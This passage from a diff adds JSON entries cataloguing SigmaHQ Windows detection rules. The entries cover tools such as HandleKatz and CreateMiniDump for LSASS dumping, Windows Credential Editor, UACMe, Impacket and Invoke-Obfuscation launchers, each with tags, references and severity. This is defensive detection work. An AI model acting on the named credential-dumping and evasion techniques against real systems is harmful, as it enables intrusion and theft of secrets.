"https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpersist.yml" + ], + "tags": [ + "attack.persistence", + "attack.t1053" + ], + "creation_date": "2022/09/15", + "filename": "proc_creation_win_hack_sharpersist.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects SharpLdapWhoami, a whoami alternative by asking the LDAP service on a domain controller", + "uuid": "d9367cbb-c2e0-47ce-bdc0-128cb6da898d", + "value": "SharpLdapWhoami", + "meta": { + "refs": [ + "https://github.com/bugch3ck/SharpLdapWhoami", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_sharpldapwhoami.yml" + ], + "tags": [ + "attack.discovery", + "attack.t1033", + "car.2016-03-001" + ], + "creation_date": "2022/08/29", + "filename": "proc_creation_win_hack_sharpldapwhoami.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Programs that use the same command line flags" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of Windows Credential Editor (WCE)", + "uuid": "7aa7009a-28b9-4344-8c1f-159489a390df", + "value": "Windows Credential Editor", + "meta": { + "refs": [ + "https://www.ampliasecurity.com/research/windows-credentials-editor/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hack_wce.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001", + "attack.s0005" + ], + "creation_date": "2019/12/31", + "filename": "proc_creation_win_hack_wce.yml", + "author": "Florian Roth", + "level": "critical", + "falsepositive": [ + "Another service that uses a single -s command line switch" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of HandleKatz, a tool that demonstrates the usage of cloned handles to Lsass in order to create an obfuscated memory dump of the same", + "uuid": "ca621ba5-54ab-4035-9942-d378e6fcde3c", + "value": "HandleKatz LSASS Dumper Usage", + "meta": { + "refs": [ + "https://github.com/codewhitesec/HandleKatz", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_handlekatz.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2022/08/18", + "filename": "proc_creation_win_handlekatz.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Execute Hashcat.exe with provided SAM file from registry of Windows and Password list to crack against", + "uuid": "39b31e81-5f5f-4898-9c0e-2160cfc0f9bf", + "value": "Password Cracking with Hashcat", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1110.002/T1110.002.md#atomic-test-1---password-cracking-with-hashcat", + "https://hashcat.net/wiki/doku.php?id=hashcat", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hashcat.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1110.002" + ], + "creation_date": "2021/12/27", + "filename": "proc_creation_win_hashcat.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Tools that accidentally use the same command line flags and values" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "This is an unusual method to download files. It starts a browser headless and downloads a file from a location. This can be used by threat actors to download files.", + "uuid": "0e8cfe08-02c9-4815-a2f8-0d157b7ed33e", + "value": "File Download with Headless Browser", + "meta": { + "refs": [ + "https://twitter.com/mrd0x/status/1478234484881436672?s=12", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_headless_browser_file_download.yml" + ], + "tags": [ + "attack.command_and_control", + "attack.t1105" + ], + "creation_date": "2022/01/04", + "filename": "proc_creation_win_headless_browser_file_download.yml", + "author": "Sreeman, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Identifies usage of hh.exe executing recently modified .chm files.", + "uuid": "68c8acb4-1b60-4890-8e82-3ddf7a6dba84", + "value": "HH.exe Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218.001/T1218.001.md", + "https://eqllib.readthedocs.io/en/latest/analytics/b25aa548-7937-11e9-8f5c-d46d6d62a49e.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_hh_chm.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Dan Beavin), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects usage of hh.exe to execute/download remotely hosted .chm files.", + "uuid": "f57c58b3-ee69-4ef5-9041-455bf39aaa89", + "value": "HH.exe Remote CHM File Execution", + "meta": { + "refs": [ + "https://www.splunk.com/en_us/blog/security/follina-for-protocol-handlers.html", + "https://github.com/redcanaryco/atomic-red-team/blob/1cf4dd51f83dcb0ebe6ade902d6157ad2dbc6ac8/atomics/T1218.001/T1218.001.md", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hh_chm_http.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001" + ], + "creation_date": "2022/09/29", + "filename": "proc_creation_win_hh_chm_http.yml", + "author": "Nasreddine Bencherchali", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Monitors for the hiding possible malicious files in the C:\\Windows\\Fonts\\ location. This folder doesn't require admin privillege to be written and executed from.", + "uuid": "ae9b0bd7-8888-4606-b444-0ed7410cb728", + "value": "Writing Of Malicious Files To The Fonts Folder", + "meta": { + "refs": [ + "https://thedfirreport.com/2020/04/20/sqlserver-or-the-miner-in-the-basement/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hiding_malware_in_fonts_folder.yml" + ], + "tags": [ + "attack.t1211", + "attack.t1059", + "attack.defense_evasion", + "attack.persistence" + ], + "creation_date": "2020/04/21", + "filename": "proc_creation_win_hiding_malware_in_fonts_folder.yml", + "author": "Sreeman", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "A General detection for sdclt being spawned as an elevated process. This could be an indicator of sdclt being used for bypass UAC techniques.", + "uuid": "40f9af16-589d-4984-b78d-8c2aec023197", + "value": "High Integrity Sdclt Process", + "meta": { + "refs": [ + "https://github.com/OTRF/detection-hackathon-apt29/issues/6", + "https://threathunterplaybook.com/evals/apt29/detections/3.B.2_C36B49B5-DF58-4A34-9FE9-56189B9DEFEA.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_high_integrity_sdclt.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.defense_evasion", + "attack.t1548.002" + ], + "creation_date": "2020/05/02", + "filename": "proc_creation_win_high_integrity_sdclt.yml", + "author": "Roberto Rodriguez (Cyb3rWard0g), OTR (Open Threat Research)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of CreateMiniDump hack tool used to dump the LSASS process memory for credential extraction on the attacker's machine", + "uuid": "36d88494-1d43-4dc0-b3fa-35c8fea0ca9d", + "value": "CreateMiniDump Hacktool", + "meta": { + "refs": [ + "https://ired.team/offensive-security/credential-access-and-credential-dumping/dumping-lsass-passwords-without-mimikatz-minidumpwritedump-av-signature-bypass", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_createminidump.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003.001" + ], + "creation_date": "2019/12/22", + "filename": "proc_creation_win_hktl_createminidump.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects execution of UACMe (a tool used for UAC bypass) via default PE metadata", + "uuid": "d38d2fa4-98e6-4a24-aff1-410b0c9ad177", + "value": "UAC Bypass Tool UACMe Akagi", + "meta": { + "refs": [ + "https://github.com/hfiref0x/UACME", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_uacme_uac_bypass.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.privilege_escalation", + "attack.t1548.002" + ], + "creation_date": "2021/08/30", + "filename": "proc_creation_win_hktl_uacme_uac_bypass.yml", + "author": "Christian Burkard, Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects a suspicious child process of a Microsoft HTML Help system when executing compiled HTML files (.chm)", + "uuid": "52cad028-0ff0-4854-8f67-d25dfcbc78b4", + "value": "HTML Help Shell Spawn", + "meta": { + "refs": [ + "https://www.trustwave.com/en-us/resources/blogs/spiderlabs-blog/chm-badness-delivers-a-banking-trojan/", + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-27939090904026cc396b0b629c8e4314acd6f5dac40a676edbc87f4567b47eb7", + "https://www.ptsecurity.com/ww-en/analytics/pt-esc-threat-intelligence/higaisa-or-winnti-apt-41-backdoors-old-and-new/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_html_help_spawn.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218.001", + "attack.t1218.010", + "attack.t1218.011", + "attack.execution", + "attack.t1059.001", + "attack.t1059.003", + "attack.t1059.005", + "attack.t1059.007", + "attack.t1047", + "attack.t1566", + "attack.t1566.001", + "attack.initial_access", + "attack.t1218" + ], + "creation_date": "2020/04/01", + "filename": "proc_creation_win_html_help_spawn.yml", + "author": "Maxim Pavlunin", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects suspicious Hangul Word Processor (Hanword) sub processes that could indicate an exploitation", + "uuid": "023394c4-29d5-46ab-92b8-6a534c6f447b", + "value": "Suspicious HWP Sub Processes", + "meta": { + "refs": [ + "https://www.securitynewspaper.com/2016/11/23/technical-teardown-exploit-malware-hwp-files/", + "https://www.hybrid-analysis.com/search?query=context:74940dcc5b38f9f9b1a0fea760d344735d7d91b610e6d5bd34533dd0153402c5&from_sample=5db135000388385a7644131f&block_redirect=1", + "https://twitter.com/cyberwar_15/status/1187287262054076416", + "https://blog.alyac.co.kr/1901", + "https://en.wikipedia.org/wiki/Hangul_(word_processor)", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hwp_exploits.yml" + ], + "tags": [ + "attack.initial_access", + "attack.t1566.001", + "attack.execution", + "attack.t1203", + "attack.t1059.003", + "attack.g0032" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_hwp_exploits.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect use of icacls to deny access for everyone in Users folder sometimes used to hide malicious files", + "uuid": "4ae81040-fc1c-4249-bfa3-938d260214d9", + "value": "Use Icacls to Hide File to Everyone", + "meta": { + "refs": [ + "https://app.any.run/tasks/1df999e6-1cb8-45e3-8b61-499d1b7d5a9b/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_icacls_deny.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1564.001" + ], + "creation_date": "2022/07/18", + "filename": "proc_creation_win_icacls_deny.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Legitimate use" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects use of aspnet_regiis to decrypt Microsoft IIS connection strings. An attacker with Microsoft IIS web server access via a webshell or alike can decrypt and dump any hardcoded connection strings, such as the MSSQL service account password using aspnet_regiis command.", + "uuid": "97dbf6e2-e436-44d8-abee-4261b24d3e41", + "value": "Microsoft IIS Connection Strings Decryption", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-connection-strings-decryption.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_connection_strings_decryption.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_iis_connection_strings_decryption.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Disables HTTP logging on a Windows IIS web server as seen by Threat Group 3390 (Bronze Union)", + "uuid": "e4ed6030-ffe5-4e6a-8a8a-ab3c1ab9d94e", + "value": "Disable Windows IIS HTTP Logging", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.002/T1562.002.md#atomic-test-1---disable-windows-iis-http-logging", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_http_logging.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1562.002" + ], + "creation_date": "2022/01/09", + "filename": "proc_creation_win_iis_http_logging.yml", + "author": "frack113", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the Internet Information Services (IIS) command-line tool, AppCmd, being used to list passwords", + "uuid": "2d3cdeec-c0db-45b4-aa86-082f7eb75701", + "value": "Microsoft IIS Service Account Password Dumped", + "meta": { + "refs": [ + "https://www.elastic.co/guide/en/security/current/microsoft-iis-service-account-password-dumped.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_iis_service_account_password_dumped.yml" + ], + "tags": [ + "attack.credential_access", + "attack.t1003" + ], + "creation_date": "2022/09/28", + "filename": "proc_creation_win_iis_service_account_password_dumped.yml", + "author": "Tim Rauch", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects unusual parent or children of the ImagingDevices.exe (Windows Contacts) and Wabmig.exe (Microsoft Address Book Import Tool) processes as seen being used with bumblebee activity", + "uuid": "f11f2808-adb4-46c0-802a-8660db50fa99", + "value": "ImagingDevices Unusual Parent Or Child Processes", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/09/26/bumblebee-round-two/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_imaging_devices_unusual_parents.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.execution" + ], + "creation_date": "2022/09/27", + "filename": "proc_creation_win_imaging_devices_unusual_parents.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the execution of different compiled Windows binaries of the impacket toolset (based on names or part of their names - could lead to false positives)", + "uuid": "4627c6ae-6899-46e2-aa0c-6ebcb1becd19", + "value": "Impacket Tool Execution", + "meta": { + "refs": [ + "https://github.com/ropnop/impacket_static_binaries/releases/tag/0.9.21-dev-binaries", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_compiled_tools.yml" + ], + "tags": [ + "attack.execution", + "attack.t1557.001" + ], + "creation_date": "2021/07/24", + "filename": "proc_creation_win_impacket_compiled_tools.yml", + "author": "Florian Roth", + "level": "high", + "falsepositive": [ + "Legitimate use of the impacket tools" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects wmiexec/dcomexec/atexec/smbexec from Impacket framework", + "uuid": "10c14723-61c7-4c75-92ca-9af245723ad2", + "value": "Impacket Lateralization Detection", + "meta": { + "refs": [ + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/wmiexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/atexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/smbexec.py", + "https://github.com/SecureAuthCorp/impacket/blob/8b1a99f7c715702eafe3f24851817bb64721b156/examples/dcomexec.py", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_impacket_lateralization.yml" + ], + "tags": [ + "attack.execution", + "attack.t1047", + "attack.lateral_movement", + "attack.t1021.003" + ], + "creation_date": "2019/09/03", + "filename": "proc_creation_win_impacket_lateralization.yml", + "author": "Ecco, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Adversaries may install a root certificate on a compromised system to avoid warnings when connecting to adversary controlled web servers.", + "uuid": "5f6a601c-2ecb-498b-9c33-660362323afa", + "value": "Root Certificate Installed From Susp Locations", + "meta": { + "refs": [ + "https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/", + "https://docs.microsoft.com/en-us/powershell/module/pki/import-certificate?view=windowsserver2022-ps", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_import_cert_susp_locations.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1553.004" + ], + "creation_date": "2022/09/09", + "filename": "proc_creation_win_import_cert_susp_locations.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect indirect command execution via Program Compatibility Assistant (pcalua.exe or forfiles.exe).", + "uuid": "fa47597e-90e9-41cd-ab72-c3b74cfb0d02", + "value": "Indirect Command Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1202/T1202.md", + "https://eqllib.readthedocs.io/en/latest/analytics/884a7ccd-7305-4130-82d0-d4f90bc118b6.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_cmd.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_indirect_cmd.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "low", + "falsepositive": [ + "Need to use extra processing with 'unique_count' / 'filter' to focus on outliers as opposed to commonly seen artifacts.", + "Legitimate usage of scripts." + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of native Windows tool, forfiles to execute a file. Adversaries may abuse utilities that allow for command execution to bypass security restrictions that limit the use of command-line interpreters.", + "uuid": "a85cf4e3-56ee-4e79-adeb-789f8fb209a8", + "value": "Indirect Command Exectuion via Forfiles", + "meta": { + "refs": [ + "https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-73d61931b2c77fde294189ce5d62323b416296a7c23ea98a608f425566538d1a", + "https://lolbas-project.github.io/lolbas/Binaries/Forfiles/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_indirect_command_execution_forfiles.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1202" + ], + "creation_date": "2022/10/17", + "filename": "proc_creation_win_indirect_command_execution_forfiles.yml", + "author": "Tim Rauch (rule), Elastic (idea)", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Executes SCT script using scrobj.dll from a command in entered into a specially prepared INF file.", + "uuid": "ce7cf472-6fcc-490a-9481-3786840b5d9b", + "value": "InfDefaultInstall.exe .inf Execution", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1218/T1218.md#atomic-test-4---infdefaultinstallexe-inf-execution", + "https://lolbas-project.github.io/lolbas/Binaries/Infdefaultinstall/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_infdefaultinstall.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1218" + ], + "creation_date": "2021/07/13", + "filename": "proc_creation_win_infdefaultinstall.yml", + "author": "frack113", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects encoded base64 MZ header in the commandline", + "uuid": "22e58743-4ac8-4a9f-bf19-00a0428d8c5f", + "value": "Base64 MZ Header In CommandLine", + "meta": { + "refs": [ + "https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_base64_mz_header.yml" + ], + "tags": [ + "attack.execution" + ], + "creation_date": "2022/07/12", + "filename": "proc_creation_win_inline_base64_mz_header.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unlikely" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the use of WinAPI Functions via the commandline as seen used by threat actors via the tool winapiexec", + "uuid": "ba3f5c1b-6272-4119-9dbd-0bc8d21c2702", + "value": "Accessing WinAPI Via CommandLine", + "meta": { + "refs": [ + "https://twitter.com/m417z/status/1566674631788007425", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_inline_win_api_access.yml" + ], + "tags": [ + "attack.execution", + "attack.t1106" + ], + "creation_date": "2022/09/06", + "filename": "proc_creation_win_inline_win_api_access.yml", + "author": "Nasreddine Bencherchali", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects the registration of a debugger for a program that is available in the logon screen (sticky key backdoor).", + "uuid": "ae215552-081e-44c7-805f-be16f975c8a2", + "value": "Suspicious Debugger Registration Cmdline", + "meta": { + "refs": [ + "https://blogs.technet.microsoft.com/jonathantrull/2016/10/03/detecting-sticky-key-backdoors/", + "https://bazaar.abuse.ch/sample/6f3aa9362d72e806490a8abce245331030d1ab5ac77e400dd475748236a6cc81/", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_install_reg_debugger_backdoor.yml" + ], + "tags": [ + "attack.persistence", + "attack.privilege_escalation", + "attack.t1546.008" + ], + "creation_date": "2019/09/06", + "filename": "proc_creation_win_install_reg_debugger_backdoor.yml", + "author": "Florian Roth, oscd.community, Jonhnathan Ribeiro", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detect an interactive AT job, which may be used as a form of privilege escalation.", + "uuid": "60fc936d-2eb0-4543-8a13-911c750a1dfc", + "value": "Interactive AT Job", + "meta": { + "refs": [ + "https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1053.002/T1053.002.md", + "https://eqllib.readthedocs.io/en/latest/analytics/d8db43cf-ed52-4f5c-9fb3-c9a4b95a0b56.html", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_interactive_at.yml" + ], + "tags": [ + "attack.privilege_escalation", + "attack.t1053.002" + ], + "creation_date": "2019/10/24", + "filename": "proc_creation_win_interactive_at.yml", + "author": "E.M. Anhaus (originally from Atomic Blue Detections, Endgame), oscd.community", + "level": "high", + "falsepositive": [ + "Unlikely (at.exe deprecated as of Windows 8)" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Clip.exe to execute PowerShell", + "uuid": "b222df08-0e07-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation CLIP+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_clip.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/13", + "filename": "proc_creation_win_invoke_obfuscation_clip.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects all variations of obfuscated powershell IEX invocation code generated by Invoke-Obfuscation framework from the following code block", + "uuid": "4bf943c6-5146-4273-98dd-e958fd1e3abf", + "value": "Invoke-Obfuscation Obfuscated IEX Invocation", + "meta": { + "refs": [ + "https://github.com/danielbohannon/Invoke-Obfuscation/blob/f20e7f843edd0a3a7716736e9eddfa423395dd26/Out-ObfuscatedStringCommand.ps1#L873-L888", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2019/11/08", + "filename": "proc_creation_win_invoke_obfuscation_obfuscated_iex_commandline.yml", + "author": "Daniel Bohannon (@Mandiant/@FireEye), oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of stdin to execute PowerShell", + "uuid": "6c96fc76-0eb1-11eb-adc1-0242ac120002", + "value": "Invoke-Obfuscation STDIN+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_invoke_obfuscation_stdin.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated use of Environment Variables to execute PowerShell", + "uuid": "27aec9c9-dbb0-4939-8422-1742242471d0", + "value": "Invoke-Obfuscation VAR+ Launcher", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_var.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/15", + "filename": "proc_creation_win_invoke_obfuscation_var.yml", + "author": "Jonathan Cheong, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via COMPRESS OBFUSCATION", + "uuid": "7eedcc9d-9fdb-4d94-9c54-474e8affc0c7", + "value": "Invoke-Obfuscation COMPRESS OBFUSCATION", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_compress.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_invoke_obfuscation_via_compress.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via RUNDLL LAUNCHER", + "uuid": "056a7ee1-4853-4e67-86a0-3fd9ceed7555", + "value": "Invoke-Obfuscation RUNDLL LAUNCHER", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_rundll.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/18", + "filename": "proc_creation_win_invoke_obfuscation_via_rundll.yml", + "author": "Timur Zinniatullin, oscd.community", + "level": "medium", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via Stdin in Scripts", + "uuid": "9c14c9fa-1a63-4a64-8e57-d19280559490", + "value": "Invoke-Obfuscation Via Stdin", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + "https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_invoke_obfuscation_via_stdin.yml" + ], + "tags": [ + "attack.defense_evasion", + "attack.t1027", + "attack.execution", + "attack.t1059.001" + ], + "creation_date": "2020/10/12", + "filename": "proc_creation_win_invoke_obfuscation_via_stdin.yml", + "author": "Nikita Nazarov, oscd.community", + "level": "high", + "falsepositive": [ + "Unknown" + ], + "logsource.category": "process_creation", + "logsource.product": "windows" + } + }, + { + "description": "Detects Obfuscated Powershell via use Clip.exe in Scripts", + "uuid": "e1561947-b4e3-4a74-9bdd-83baed21bdb5", + "value": "Invoke-Obfuscation Via Use Clip", + "meta": { + "refs": [ + "https://github.com/Neo23x0/sigma/issues/1009", + 